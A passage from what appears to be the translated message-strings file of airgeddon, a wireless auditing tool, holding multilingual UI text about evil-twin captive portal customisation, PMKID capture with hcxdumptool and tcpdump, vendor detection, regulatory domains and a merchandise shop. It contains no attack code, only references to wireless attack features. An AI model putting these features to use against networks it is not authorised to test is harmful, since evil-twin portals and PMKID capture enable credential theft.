\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so-how" arr["ITALIAN",711]="Ricorda che anche il captive portal può essere personalizzato per un attacco più mirato. Controlla le informazioni su come farlo sulla Wiki: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so-how" arr["POLISH",711]="Pamiętaj, że portal logowania (captive portal) można również dostosować do bardziej spersonalizowanego ataku. Sprawdź informacje o tym, jak to zrobić na Wiki: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so-how" arr["GERMAN",711]="Denken Sie daran, dass das Captive-Portal auch für einen maßgeschneiderten Angriff angepasst werden kann. Informationen dazu finden Sie im Wiki: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so-how" arr["TURKISH",711]="Esir portalın daha özel bir saldırı için özelleştirilebileceğini unutmayın. Bunun nasıl yapılacağıyla ilgili bilgileri Wiki'den kontrol edin: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so-how" arr["ARABIC",711]="\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so-how \${blue_color}:تذكر أنه يمكن أيضًا تخصيص البوابة المقيدة لهجوم أكثر تفصيلاً. تحقق من المعلومات حول كيفية القيام بذلك على \${normal_color}" arr["CHINESE",711]="请记住,脚本还支持自定义强制门户以进行更有针对性的攻击。在 Wiki 上查看有关如何操作的信息: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so -如何" arr["ENGLISH",712]="Another way to contribute to the project is buying some merchandising (mugs, T-shirts, etc.). A little portion of each payment (after deducting material, printing and shipping) will be to support the project. Check the merchandising online shop at: \${normal_color}\${urlmerchandising_shop}" arr["SPANISH",712]="Otra forma de contribuir al proyecto es comprando algún producto de merchandising (tazas, camisetas, etc.). Una pequeña parte de cada pago (después de deducir el material, la impresión y el envío) será para apoyar el proyecto. Consulta la tienda online de merchandising en: \${normal_color}\${urlmerchandising_shop}" arr["FRENCH",712]="Une autre façon de contribuer au projet c'est d'acheter du merchandising (mugs, T-shirts, etc.). Une petite partie de chaque paiement (après déduction du matériel, de l'impression et de l'expédition) servira à soutenir le projet. Consultez la boutique en ligne de merchandising à: \${normal_color}\${urlmerchandising_shop}" arr["CATALAN",712]="Una altra manera de contribuir al projecte és comprar algun marxandatge (tasses, samarretes, etc.). Una petita part de cada pagament (després de deduir el material, la impressió i l'enviament) servirà per donar suport al projecte. Consulteu la botiga online de marxandatge a: \${normal_color}\${urlmerchandising_shop}" arr["PORTUGUESE",712]="Outra forma de contribuir com o projeto é comprando algum produto (canecas, camisetas, etc.). Uma pequena parte de cada pagamento (depois de descontar material, impressão e envio) será para apoiar o projeto. Confira a loja online em: \${normal_color}\${urlmerchandising_shop}" arr["RUSSIAN",712]="Еще один способ внести свой вклад в проект - купить наш мерч (кружки, футболки и т.п.)! Часть каждого платежа (после вычета материалов, печати и доставки) пойдет на поддержку проекта. Посмотреть мерч можно в интернет-магазине по ссылке: \${normal_color}\${urlmerchandising_shop}" arr["GREEK",712]="Ένας άλλος τρόπος για να συνεισφέρετε στο έργο είναι να αγοράσετε κάποιο merchandising (κούπες, μπλουζάκια κ.λπ.). Ένα μικρό μέρος κάθε πληρωμής (μετά την αφαίρεση υλικού, εκτύπωσης και αποστολής) θα είναι για την υποστήριξη του έργου. Ελέγξτε το ηλεκτρονικό κατάστημα merchandising στη διεύθυνση: \${normal_color}\${urlmerchandising_shop}" arr["ITALIAN",712]="Un altro modo per contribuire al progetto è acquistare del merchandising (tazze, magliette, ecc.). Una piccola parte di ogni pagamento (dopo aver dedotto il materiale, la stampa e la spedizione) andrà a sostenere il progetto. Guarda il negozio online di merchandising su: \${normal_color}\${urlmerchandising_shop}" arr["POLISH",712]="Innym sposobem wniesienia wkładu w projekt jest zakup gadżetów (kubki, koszulki itp.). Niewielka część każdej płatności (po odliczeniu materiałów, druku i wysyłki) zostanie przeznaczona na wsparcie projektu. Sprawdź sklep internetowy z gadżetami pod adresem: \${normal_color}\${urlmerchandising_shop}" arr["GERMAN",712]="Eine weitere Möglichkeit, zum Projekt beizutragen, ist der Kauf von Merchandising (Tassen, T-Shirts usw.). Ein kleiner Teil jeder Zahlung (nach Abzug von Material, Druck und Versand) dient der Unterstützung des Projekts. Besuchen Sie den Merchandising-Online-Shop unter: \${normal_color}\${urlmerchandising_shop}" arr["TURKISH",712]="Projeye katkıda bulunmanın bir başka yolu da bazı ticari mallar (kupalar, tişörtler vb.) satın almaktır. Her ödemenin küçük bir kısmı (malzeme, baskı ve nakliye düşüldükten sonra) projeyi desteklemek içindir. Çevrimiçi satış mağazasını kontrol edin: \${normal_color}\${urlmerchandising_shop}" arr["ARABIC",712]="\${normal_color}\${urlmerchandising_shop} \${pink_color}:هناك طريقة أخرى للمساهمة في المشروع وهي شراء بعض البضائع (أكواب ، قمصان ، إلخ). جزء بسيط من كل دفعة (بعد خصم المواد والطباعة والشحن) سيكون لدعم المشروع. تحقق من متجر التجارة عبر الإنترنت على\${normal_color}" arr["CHINESE",712]="为该项目做出贡献的一种方式是购买一些商品 (杯子、T恤等) 。每笔付款的一小部分 (扣除材料、印刷和运输后) 将用于支持该项目。查看商品在线商店: \${normal_color}\${urlmerchandising_shop}" arr["ENGLISH",713]="Target AP's BSSID was detected as \"\${normal_color}\${routervendor}\${blue_color}\" vendor" arr["SPANISH",713]="El BSSID del AP objetivo se detectó como proveedor \"\${normal_color}\${routervendor}\${blue_color}\"" arr["FRENCH",713]="Le BSSID du point d'accès cible a été détecté comme fournisseur \"\${normal_color}\${routervendor}\${blue_color}\"" arr["CATALAN",713]="El BSSID de l'AP objectiu s'ha detectat com a proveïdor \"\${normal_color}\${routervendor}\${blue_color}\"" arr["PORTUGUESE",713]="O BSSID do AP alvo foi detectado como sendo da fabricante \"\${normal_color}\${routervendor}\${blue_color}\"" arr["RUSSIAN",713]="BSSID целевой точки доступа был установлен как производитель оборудования \"\${normal_color}\${routervendor}\${blue_color}\"" arr["GREEK",713]="Το BSSID του στόχου AP εντοπίστηκε ως προμηθευτής \"\${normal_color}\${routervendor}\${blue_color}\"" arr["ITALIAN",713]="Il BSSID dell'AP obiettivo è stato rilevato come fornitore \"\${normal_color}\${routervendor}\${blue_color}\"" arr["POLISH",713]="Identyfikator BSSID docelowego punktu dostępowego został wykryty jako dostawca \"\${normal_color}\${routervendor}\${blue_color}\"" arr["GERMAN",713]="Die BSSID des Ziel-AP wurde als \"\${normal_color}\${routervendor}\${blue_color}\"-Anbieter erkannt" arr["TURKISH",713]="Hedef AP'nin BSSID'si \"\${normal_color}\${routervendor}\${blue_color}\" satıcı olarak algılandı" arr["ARABIC",713]="vendor \"\${normal_color}\${routervendor}\${blue_color}\"الخاص بنقطة الوصول المستهدفة على أنه BSSID تم اكتشاف \${normal_color}" arr["CHINESE",713]="目标 AP 的 BSSID 被检测为 \"\${normal_color}\${routervendor}\${blue_color}\" vendor" arr["ENGLISH",714]="No vendor was detected for the target AP's BSSID. Default captive portal template will be used" arr["SPANISH",714]="No se detectó ningún proveedor para el BSSID del AP objetivo. Se utilizará la plantilla por defecto de portal cautivo" arr["FRENCH",714]="Aucun fournisseur n'a été détecté pour le BSSID du point d'accès cible. Le modèle de portail captif par défaut sera utilisé" arr["CATALAN",714]="No s'ha detectat cap proveïdor per al BSSID de l'AP objectiu. S'utilitzarà la plantilla de portal captiu predeterminada" arr["PORTUGUESE",714]="O fabricante não foi detectado para o BSSID do AP alvo. O portal cativo padrão será utilizado" arr["RUSSIAN",714]="Не удалось установить производителя оборудования целевой точки доступа. Будет использован дефолтный шаблон авторизационного портала" arr["GREEK",714]="Δεν εντοπίστηκε προμηθευτής για το BSSID του AP-στόχου. Θα χρησιμοποιηθεί το προεπιλεγμένο πρότυπο πύλης captive" arr["ITALIAN",714]="Nessun fornitore è stato rilevato per il BSSID dell'AP obiettivo. Verrà utilizzato il modello di captive portal predefinito" arr["POLISH",714]="Nie wykryto żadnego dostawcy dla identyfikatora BSSID docelowego punktu dostępowego. Zostanie użyty domyślny szablon portalu logowania (captive portal)" arr["GERMAN",714]="Für die BSSID des Ziel-AP wurde kein Anbieter erkannt. Die standardmäßige Captive-Portal-Vorlage wird verwendet" arr["TURKISH",714]="Hedef AP'nin BSSID'si için satıcı bulunamadı. Varsayılan sabit portal şablonu kullanılacak" arr["ARABIC",714]="لنقطة الوصول المستهدفة. سيتم استخدام قالب البوابة المقيدة الافتراضي BSSID لم يتم اكتشاف أي مورد لـ" arr["CHINESE",714]="未检测到目标 AP 的 BSSID 的供应商。将使用默认强制门户模板" arr["ENGLISH",715]="Error. Your hcxdumptool version is (v\${hcxdumptool_version}) and from version \${minimum_hcxdumptool_bpf_version}, capturing a PMKID additionally requires the tcpdump tool which is currently not installed on your system. Install it and try this attack again by relaunching airgeddon" arr["SPANISH",715]="Error. Tu versión de hcxdumptool es (v\${hcxdumptool_version}) y a partir de la versión \${minimum_hcxdumptool_bpf_version}, para capturar un PMKID además se necesita la herramienta tcpdump que actualmente no se encuentra en tu sistema. Instálala y vuelve a intentar este ataque relanzando airgeddon" arr["FRENCH",715]="Erreur. Votre version de hcxdumptool est (v\${hcxdumptool_version}) et depuis de la version \${minimum_hcxdumptool_bpf_version}, pour capturer un PMKID vous nécessitez de l'outil tcpdump qui n'est pas actuellement sur votre système. Installez-le et retentez cette attaque en relançant airgeddon" arr["CATALAN",715]="Error. La teva versió de hcxdumptool és (v\${hcxdumptool_version}) i a partir de la versió \${minimum_hcxdumptool_bpf_version}, per capturar un PMKID a més es necessita l'eina tcpdump que actualment no es troba al sistema. Instal·la-la i torna a intentar aquest atac rellançant airgeddon" arr["PORTUGUESE",715]="Erro. A versão hcxdumptool instalada é (v\${hcxdumptool_version}) e a partir da versão \${minimum_hcxdumptool_bpf_version}, a captura de um PMKID requer o tcpdump que não está instalado em seu sistema. Instale-o e tente este ataque novamente reiniciando o airgeddon" arr["RUSSIAN",715]="Ошибка. Установленная версия hcxdumptool (v\${hcxdumptool_version}). Начиная с версии \${minimum_hcxdumptool_bpf_version}, для захвата PMKID требуется инструмент tcpdump, который в настоящий момент не установлен. Установите tcpdump и повторите попытку, перед этим перезапустив airgeddon" arr["GREEK",715]="Σφάλμα. Η έκδοση του hcxdumptool σας είναι (v\${hcxdumptool_version}) και από την έκδοση \${minimum_hcxdumptool_bpf_version}, η λήψη ενός PMKID απαιτεί επιπλέον το εργαλείο tcpdump το οποίο δεν είναι εγκατεστημένο στο σύστημά σας. Εγκαταστήστε το και δοκιμάστε ξανά αυτήν την επίθεση επανεκκινώντας το airgeddon" arr["ITALIAN",715]="Errore. La tua versione di hcxdumptool è (v\${hcxdumptool_version}) e a partire dalla versione \${minimum_hcxdumptool_bpf_version}, l'acquisizione di un PMKID richiede anche il tool tcpdump che attualmente non è installato sul tuo sistema. Installalo e riprova questo attacco rilanciando airgeddon" arr["POLISH",715]="Błąd. Twoja wersja hcxdumptool to (v\${hcxdumptool_version}), a od wersji \${minimum_hcxdumptool_bpf_version} przechwytywanie PMKID dodatkowo wymaga narzędzia tcpdump, którego obecnie nie ma w twoim systemie. Zainstaluj je, ponownie uruchom airgeddon i spróbuj ponownie tego ataku" arr["GERMAN",715]="Fehler. Ihre hcxdumptool-Version ist (v\${hcxdumptool_version}) und ab Version \${minimum_hcxdumptool_bpf_version} ist zum Erfassen eines PMKID zusätzlich das Tool tcpdump erforderlich, das sich derzeit nicht auf Ihrem System befindet. Installieren Sie es und versuchen Sie diesen Angriff erneut, indem Sie airgeddon neu starten" arr["TURKISH",715]="Hata. hcxdumptool sürümünüz (v\${hcxdumptool_version})'dir ve \${minimum_hcxdumptool_bpf_version} sürümünden itibaren, bir PMKID'yi yakalamak ek olarak şu anda sisteminizde olmayan tcpdump aracını gerektirir. Yükleyin ve airgeddon'u yeniden başlatarak bu saldırıyı tekrar deneyin" arr["ARABIC",715]="airgeddon التي ليست موجودة حاليًا على نظامك. قم بتثبيته وحاول هذا الهجوم مرة أخرى عن طريق إعادة تشغيل tcpdump يتطلب أيضًا أداة PMKID التقاط,\${minimum_hcxdumptool_bpf_version} واعتبارًا من الإصدار (v\${hcxdumptool_version} *) الخاص بك هو hcxdumptool خطأ. إصدار" arr["CHINESE",715]="错误。您的 hcxdumptool 版本是 (v\${hcxdumptool_version}) 并且从版本 \${minimum_hcxdumptool_bpf_version} 开始,捕获 PMKID 还需要 tcpdump 工具,该工具当前未安装在您的系统上。安装它并重新启动 airgeddon 再次尝试此攻击" arr["ENGLISH",716]="You have the tcpdump tool installed, therefore your system can perform the PMKID capture attack with versions of hcxdumptool later than \${minimum_hcxdumptool_bpf_version} (currently your hcxdumptool version is \${hcxdumptool_version})" arr["SPANISH",716]="Tienes instalada la herramienta tcpdump, por lo que tu sistema puede realizar el ataque de captura PMKID con versiones de hcxdumptool posteriores a la \${minimum_hcxdumptool_bpf_version} (actualmente tu versión de hcxdumptool es la \${hcxdumptool_version})" arr["FRENCH",716]="L'outil tcpdump est installé, donc votre système peut effectuer l'attaque de capturer le PMKID avec des versions de hcxdumptool ultérieures à \${minimum_hcxdumptool_bpf_version} (actuellement, votre version de hcxdumptool est \${hcxdumptool_version})" arr["CATALAN",716]="Teniu instal·lada l'eina tcpdump, per tant, el vostre sistema pot realitzar l'atac de captura PMKID amb versions d'hcxdumptool posteriors a \${minimum_hcxdumptool_bpf_version} (actualment la vostra versió de hcxdumptool és \${hcxdumptool_version})" arr["PORTUGUESE",716]="Você tem a ferramenta tcpdump instalada, portanto, seu sistema pode executar o ataque de captura PMKID com versões de hcxdumptool posteriores a \${minimum_hcxdumptool_bpf_version} (atualmente sua versão hcxdumptool é \${hcxdumptool_version})" arr["RUSSIAN",716]="У вас установлен инструмент tcpdump. Вы можете проводить атаки захвата PMKID с версией hcxdumptool более свежей, чем \${minimum_hcxdumptool_bpf_version} (Установленная версия hcxdumptool - \${hcxdumptool_version})" arr["GREEK",716]="Έχετε εγκατεστημένο το εργαλείο tcpdump, επομένως το σύστημά σας μπορεί να εκτελέσει την επίθεση καταγραφής PMKID με εκδόσεις του hcxdumptool αργότερες από τη \${minimum_hcxdumptool_bpf_version} (η τρέχουσα έκδοση του hcxdumptool σας είναι η \${hcxdumptool_version})" arr["ITALIAN",716]="Il tool tcpdump è installato, quindi il tuo sistema può eseguire l'attacco di cattura PMKID con versioni di hcxdumptool successive a \${minimum_hcxdumptool_bpf_version} (attualmente la tua versione di hcxdumptool è \${hcxdumptool_version})" arr["POLISH",716]="Masz zainstalowane narzędzie tcpdump, więc twój system może przeprowadzić atak przechwytujący PMKID przy użyciu wersji hcxdumptool późniejszych niż \${minimum_hcxdumptool_bpf_version} (obecnie twoja wersja hcxdumptool to \${hcxdumptool_version})" arr["GERMAN",716]="Sie haben das tcpdump-Tool installiert, daher kann Ihr System den PMKID-Capture-Angriff mit Versionen von hcxdumptool ausführen, die höher als \${minimum_hcxdumptool_bpf_version} sind (die hcxdumptool-Version ist derzeit \${hcxdumptool_version})" arr["TURKISH",716]="tcpdump aracı kurulu olduğundan, sisteminiz PMKID yakalama saldırısını \${minimum_hcxdumptool_bpf_version} sürümünden sonraki hcxdumptool sürümleriyle gerçekleştirebilir (Mevcut hcxdumptool sürümünüz \${hcxdumptool_version})" arr["ARABIC",716]="(\${hcxdumptool_version} الخاص بك هو hcxdumptool حاليًا إصدار) \${minimum_hcxdumptool_bpf_version} أحدث من hcxdumptool بإصدارات من PMKID مثبتة ,وبالتالي يمكن لنظامك تنفيذ هجوم بالتقاط tcpdumpلديك أداة ال" arr["CHINESE",716]="您安装了 tcpdump 工具,因此您的系统可以使用 \${minimum_hcxdumptool_bpf_version} 之后的 hcxdumptool 版本执行 PMKID 捕获攻击 (当前您的 hcxdumptool 版本是 \${hcxdumptool_version})" arr["ENGLISH",717]="13. Chinese" arr["SPANISH",717]="13. Chino" arr["FRENCH",717]="13. Chinoise" arr["CATALAN",717]="13. Xinès" arr["PORTUGUESE",717]="13. Chinês" arr["RUSSIAN",717]="13. Китайский" arr["GREEK",717]="13. Κινέζικα" arr["ITALIAN",717]="13. Cinese" arr["POLISH",717]="13. Chiński" arr["GERMAN",717]="13. Chinesisch" arr["TURKISH",717]="13. Çince" arr["ARABIC",717]="13. الصينيه" arr["CHINESE",717]="13. 简体中文" arr["ENGLISH",718]="ESSID set to \${normal_color}\${wps_essid}" arr["SPANISH",718]="ESSID elegido \${normal_color}\${wps_essid}" arr["FRENCH",718]="l'ESSID sélectionné est \${normal_color}\${wps_essid}" arr["CATALAN",718]="l'ESSID seleccionat \${normal_color}\${wps_essid}" arr["PORTUGUESE",718]="ESSID escolhido \${normal_color}\${wps_essid}" arr["RUSSIAN",718]="Установленный ESSID: \${normal_color}\${wps_essid}" arr["GREEK",718]="Το ESSID τέθηκε σε \${normal_color}\${wps_essid}" arr["ITALIAN",718]="ESSID selezionato \${normal_color}\${wps_essid}" arr["POLISH",718]="Wybrany ESSID \${normal_color}\${wps_essid}" arr["GERMAN",718]="Gewählte ESSID \${normal_color}\${wps_essid}" arr["TURKISH",718]="ESSID şu şekilde ayarlandı \${normal_color}\${wps_essid}" arr["ARABIC",718]="\${normal_color}\${wps_essid}\${blue_color} المختار ESSID\${normal_color}" arr["CHINESE",718]="ESSID 设置为 \${normal_color}\${wps_essid}" arr["ENGLISH",719]="One of your wireless adapters has a built-in country code different from the one set on your system. When this happens the kernel makes a custom regulatory domain \"\${normal_color}99\${yellow_color}\" which contains only permissions in BOTH reg domains. Either your hardware is from a different region, or you have improperly set your reg domain and limited your functionality on purpose" arr["SPANISH",719]="Uno de tus adaptadores wifi tiene un código de país integrado diferente al configurado en el sistema. Cuando esto sucede, el kernel crea un dominio regulatorio personalizado \"\${normal_color}99\${yellow_color}\" que contiene solo permisos en AMBOS dominios de registro. O tu hardware es de una región diferente o configuraste incorrectamente el dominio de registro y limitando su funcionalidad a propósito" arr["FRENCH",719]="Une des vos adaptateurs Wi-Fi a un code de pays intégré différent de celui défini sur votre système. Quand cela se produit, le Kernel crée un domaine réglementaire personnalisé \"\${normal_color}99\${yellow_color}\" qui contient uniquement les autorisations dans les DEUX domaines inscrits. Peut votre matériel provient d'une région différente ou vous avez mal défini votre domaine d'enregistrement et limité volontairement vos fonctionnalités" arr["CATALAN",719]="Un dels vostres adaptadors wifi té un codi de país integrat diferent del establert al vostre sistema. Quan això succeeix, el nucli crea un domini regulador personalitzat \"\${normal_color}99\${yellow_color}\" que només conté permisos als DOS dominis reg. O el vostre maquinari és d'una regió diferent o heu configurat el vostre domini de registre incorrectament i heu limitat la vostra funcionalitat a propòsit" arr["PORTUGUESE",719]="Um dos seus adaptadores wi-fi possui um código de país integrado diferente do definido em seu sistema. Quando isso acontece, o kernel cria um domínio regulatório personalizado \"\${normal_color}99\${yellow_color}\" que contém apenas permissões em AMBOS. Ou seu hardware é de uma região diferente, ou você configurou incorretamente seu domínio de registro e limitou sua funcionalidade propositalmente" arr["RUSSIAN",719]="Один из ваших Wi-Fi адаптеров имеет вшитый код страны, отличный от установленного в вашей системе. Когда это происходит, ядро создает кастомный регулятивный домен \"\${normal_color}99\${yellow_color}\", который содержит общие разрешения доступные в ОБОИХ доменах регистрации. Либо ваше оборудование из другого региона, либо вы неправильно настроили регулятивный домен и намеренно ограничили функциональность" arr["GREEK",719]="Ένας από τους αντάπτορες δικτύου wifi σας έχει ενσωματωμένο κωδικό χώρας διαφορετικό από αυτόν που έχει οριστεί στο σύστημά σας. Όταν συμβαίνει αυτό, ο kernel δημιουργεί ένα custom regulatory domain \"\${normal_color}99\${yellow_color}\" το οποίο περιέχει μόνο δικαιώματα και στα δύο reg domains. Είτε το hardware σας προέρχεται από διαφορετική περιοχή, είτε έχετε ρυθμίσει εσφαλμένα το domain reg σας και έχετε περιορίσει τη λειτουργικότητά σας επίτηδες" arr["ITALIAN",719]="Uno dei tuoi adattatori Wi-Fi ha un codice paese integrato diverso da quello impostato sul tuo sistema. Quando ciò accade, il kernel crea un dominio normativo personalizzato \"\${normal_color}99\${yellow_color}\" che contiene solo le autorizzazioni in ENTRAMBI i domini di registro. O il tuo hardware proviene da una regione diversa oppure hai impostato in modo errato il tuo dominio di registro limitando quindi a proposito la sua funzionalità" arr["POLISH",719]="Jeden z Twoich adapterów Wi-Fi ma wbudowany kod kraju inny, niż ustawiony w Twoim systemie. Kiedy tak się dzieje, kernel tworzy niestandardową domenę regulacyjną \"\${normal_color}99\${yellow_color}\", która zawiera tylko uprawnienia w OBYDWU domenach regulacyjnych. Albo Twój sprzęt pochodzi z innego regionu, albo celowo nieprawidłowo ustawiłeś domenę rejestracyjną i ograniczyłeś funkcjonalność" arr["GERMAN",719]="Einer Ihrer WLAN-Adapter hat einen integrierten Ländercode, der sich von dem auf Ihrem System unterscheidet. Wenn dies geschieht, erstellt der Kernel eine spezielle Regulierungsdomäne \"\${normal_color}99\${yellow_color}\", die nur Berechtigungen in BEIDEN Registrierungsdomänen enthält. Entweder stammt Ihre Hardware aus einer anderen Region oder Sie haben Ihre Reg-Domain falsch eingestellt und die Funktionalität absichtlich eingeschränkt" arr["TURKISH",719]="Wifi bağdaştırıcılarınızdan birinde, sisteminizde ayarlanandan farklı bir yerleşik ülke kodu var. Bu gerçekleştiğinde Kernel, yalnızca HER İKİ Reg etki alanındaki izinleri içeren özel bir düzenleyici etki alanı \"\${normal_color}99\${yellow_color}\" oluşturur. Ya donanımınız farklı bir bölgeye ait ya da reg alan adınızı yanlış ayarladınız ve işlevselliğinizi bilerek sınırladınız" arr["ARABIC",719]="والذي يحتوي فقط على الأذونات في كلا نطاقي التسجيل. إما أن جهازك ينتمي إلى منطقة مختلفة، أو أنك قمت بتعيين نطاق التسجيل الخاص بك بشكل غير صحيح وقمت بتقييد وظائفك عن قصد \"\${yellow_color}99\${normal_color}\" بانشاء مجال تنظيمي مخصص kernel علي رمز بلد غير الرمز الموجود علي نظامك. عندما يحدث هذا, يقوم ال wireless adapter يحتوي احدى ال" arr["CHINESE",719]="您的其中一款 WiFi 适配器的内置国家/地区代码与您系统上设置的国家/地区代码不同。当发生这种情况时,系统内核会创建一个自定义的监管域 \"\${normal_color}99\${yellow_color}\",其中仅包含两个监管域中的权限。发生这种情况可能是您的硬件来自不同的地区,或您不正确地设置了注册域并故意限制了您的功能" arr["ENGLISH",720]="It was detected more than one airgeddon instance running. Keep in mind that sharing and using the same wireless adapter in more than one instance at the same time, probably will lead to uncontrolled errors or unexpected results" arr["SPANISH",720]="Se ha detectado más de una instancia de airgeddon ejecutándose. Ten en cuenta que compartir y utilizar el mismo adaptador inalámbrico en más de una instancia al mismo tiempo probablemente provocará errores no controlados o resultados inesperados" arr["FRENCH",720]="Il a été détecté plus d'une instance d'airgeddon en exécution. Prendre en compte que le partage et l'utilisation du même adaptateur sans fil dans plusieurs instances au même temps, peut entraîner des erreurs incontrôlées ou des résultats imprévus" arr["CATALAN",720]="S'ha detectat més d'una instància d'airgeddon en execució. Tingueu en compte que compartir i utilitzar el mateix adaptador sense fil en més d'una instància alhora, probablement provocarà errors incontrolats o resultats inesperats" arr["PORTUGUESE",720]="Existe mais de uma instância do airgeddon em execução. Tenha em mente que usar o mesmo adaptador wi-fi em mais de uma instância simultaneamente provavelmente levará a erros e resultados inesperados" arr["RUSSIAN",720]="Было обнаружено, что запущено несколько инстансов airgeddon. Имейте в виду, что совместное использование одного и того же беспроводного адаптера более чем в одном инстансе одновременно может привести к неконтролируемым ошибкам или неожиданным результатам" arr["GREEK",720]="Εντοπίστηκαν περισσότερο από ένα instance του airgeddon σε λειτουργία. Λάβετε υπόψη ότι η κοινή χρήση του ασύρματου αντάπτορα σε περισσότερα από ένα instance ταυτόχρονα, πιθανότατα θα σας οδηγήσει σε μη ελεγχόμενα σφάλματα ή απροσδόκητα αποτελέσματα" arr["ITALIAN",720]="È stata rilevata più di un'istanza di airgeddon in esecuzione. Tieni presente che la condivisione e l'utilizzo dello stesso adattatore wireless in più istanze contemporaneamente porterà probabilmente a errori incontrollati o risultati imprevisti" arr["POLISH",720]="Wykryto, że airgeddon został uruchomiony więcej niż raz. Należy pamiętać, że współdzielenie i używanie tej samej karty bezprzewodowej w więcej niż jednej instancji jednocześnie najprawdopodobniej doprowadzi do niekontrolowanych błędów lub nieoczekiwanych rezultatów" arr["GERMAN",720]="Es wurde festgestellt, dass mehr als eine Airgeddon-Instanz ausgeführt wird. Beachten Sie, dass die gemeinsame Nutzung und Verwendung desselben WLAN-Adapters in mehreren Instanzen gleichzeitig wahrscheinlich zu unkontrollierten Fehlern oder unerwarteten Ergebnissen führt" arr["TURKISH",720]="airgeddon'un birden fazla kere aynı anda çalıştığı tespit edildi. Aynı kablosuz bağdaştırıcıyı aynı anda paylaşmanın ve kullanmanın muhtemelen kontrol edilemeyen hatalara veya beklenmeyen sonuçlara yol açacağını unutmayın" arr["ARABIC",720]="في أكثر من حالة في نفس الوقت، قد يؤدي على الأرجح إلى أخطاء لا يمكن التحكم فيها أو نتائج غير متوقعة wireless adapter قيد التشغيل. يجب العلم أن مشاركة واستخدام نفس airgeddon تم اكتشاف وجود أكثر من" arr["CHINESE",720]="检测到有多个 airgeddon 实例正在运行。请注意,在多个实例中共享并使用同一个无线适配器可能会导致无法控制的错误或意外结果" arr["ENGLISH",721]="Number of running instances: \${normal_color}\${airgeddon_running_instances_counter}" arr["SPANISH",721]="Número de instancias en ejecución: \${normal_color}\${airgeddon_running_instances_counter}" arr["FRENCH",721]="Numéro d'instances en exécution: \${normal_color}\${airgeddon_running_instances_counter}" arr["CATALAN",721]="Nombre d'instàncies en execució: \${normal_color}\${airgeddon_running_instances_counter}" arr["PORTUGUESE",721]="Número de instâncias em execução: \${normal_color}\${airgeddon_running_instances_counter}" arr["RUSSIAN",721]="Количество запущенных инстансов: \${normal_color}\${airgeddon_running_instances_counter}" arr["GREEK",721]="Αριθμός instances που εκτελούνται: \${normal_color}\${airgeddon_running_instances_counter}" arr["ITALIAN",721]="Numero di istanze in esecuzione: \${normal_color}\${airgeddon_running_instances_counter}" arr["POLISH",721]="Liczba uruchomionych instancji: \${normal_color}\${airgeddon_running_instances_counter}" arr["GERMAN",721]="Anzahl der laufenden Instanzen: \${normal_color}\${airgeddon_running_instances_counter}" arr["TURKISH",721]="Çalışan airgeddon uygulamalarının sayısı: \${normal_color}\${airgeddon_running_instances_counter}" arr["ARABIC",721]="\${normal_color}\${airgeddon_running_instances_counter}\${blue_color} :عدد المثيلات قيد التشغيل\${normal_color}" arr["CHINESE",721]="正在运行的实例数:\${normal_color}\${airgeddon_running_instances_counter}" arr["ENGLISH",722]="This attack uses the \"\${normal_color}arping\${yellow_color}\" internal tool as an additional functionality to find out if the clients connecting to the network are still active. Unfortunately, it seems that your system doesn't have the correct version and is using the one belonging to the \"\${normal_color}iputils-arping\${yellow_color}\" package which can't be used in this case. Please install the \"\${normal_color}arping\${yellow_color}\" tool created by Thomas Habets in order to enjoy this functionality. This version of the tool is very widespread and is present in almost all repositories of the different Linux distributions. More information about internal tools in our Wiki: \${normal_color}\${urlgithub_wiki}/Internal%20Tools" arr["SPANISH",722]="Este ataque utiliza la herramienta interna \"\${normal_color}arping\${yellow_color}\" como funcionalidad adicional para saber si los clientes que conecten a la red siguen activos. Pero lamentablemente, parece que tu sistema no tiene la versión adecuada y está usando la que pertenece al paquete \"\${normal_color}iputils-arping\${yellow_color}\" y que no puede ser utilizada en este caso. Por favor, instala la herramienta \"\${normal_color}arping\${yellow_color}\" creada por Thomas Habets para poder disfrutar de esta funcionalidad. Esta versión de la herramienta está muy extendida y está presente en casi todos los repositorios de las diferentes distribuciones de Linux. Más información acerca de las herramientas internas en nuestro Wiki: \${normal_color}\${urlgithub_wiki}/Internal%20Tools" arr["FRENCH",722]="Cette attaque utilise l'outil interne \"\${normal_color}arping\${yellow_color}\" comme fonctionnalité supplémentaire pour savoir si les clients se connectant au réseau sont encore actifs. Mais malheureusement, il semble que votre système ne dispose pas de la version appropriée et utilise celle qui appartient au package \"\${normal_color}iputils-arping\${yellow_color}\" et qui ne peut pas être utilisée dans cet cas. Veuillez vous installer l'outil \"\${normal_color}arping\${yellow_color}\" créé par Thomas Habets pour profiter de cette fonctionnalité. Cette version de l'outil est très répandue et il est présente dans presque tous les référentiels des différentes distributions Linux. Plus d'informations sur les outils internes dans notre Wiki: \${normal_color}\${urlgithub_wiki}/Internal%20Tools" arr["CATALAN",722]="Aquest atac utilitza l'eina interna \"\${normal_color}arping\${yellow_color}\" com a funcionalitat addicional per saber si els clients que connectin a la xarxa segueixen actius. Però lamentablement, sembla que el vostre sistema no té la versió adequada i està usant la que pertany al paquet \"\${normal_color}iputils-arping\${yellow_color}\" i que no pot ser utilitzada en aquest cas. Si us plau, instal·leu l'eina \"\${normal_color}arping\${yellow_color}\" creada per Thomas Habets per poder gaudir d'aquesta funcionalitat. Aquesta versió de l'eina està molt estesa i és present a gairebé tots els repositoris de les diferents distribucions de Linux. Més informació sobre les eines internes al nostre Wiki: \${normal_color}\${urlgithub_wiki}/Internal%20Tools" arr["PORTUGUESE",722]="Este ataque utiliza a ferramenta \"\${normal_color}arping\${yellow_color}\" para saber se os clientes conectados à rede ainda estão ativos. Parece que seu sistema não possui a versão adequada e está utilizando a versão que pertence ao pacote \"\${normal_color}iputils-arping\${yellow_color}\", que não pode ser utilizada. Instale a ferramenta 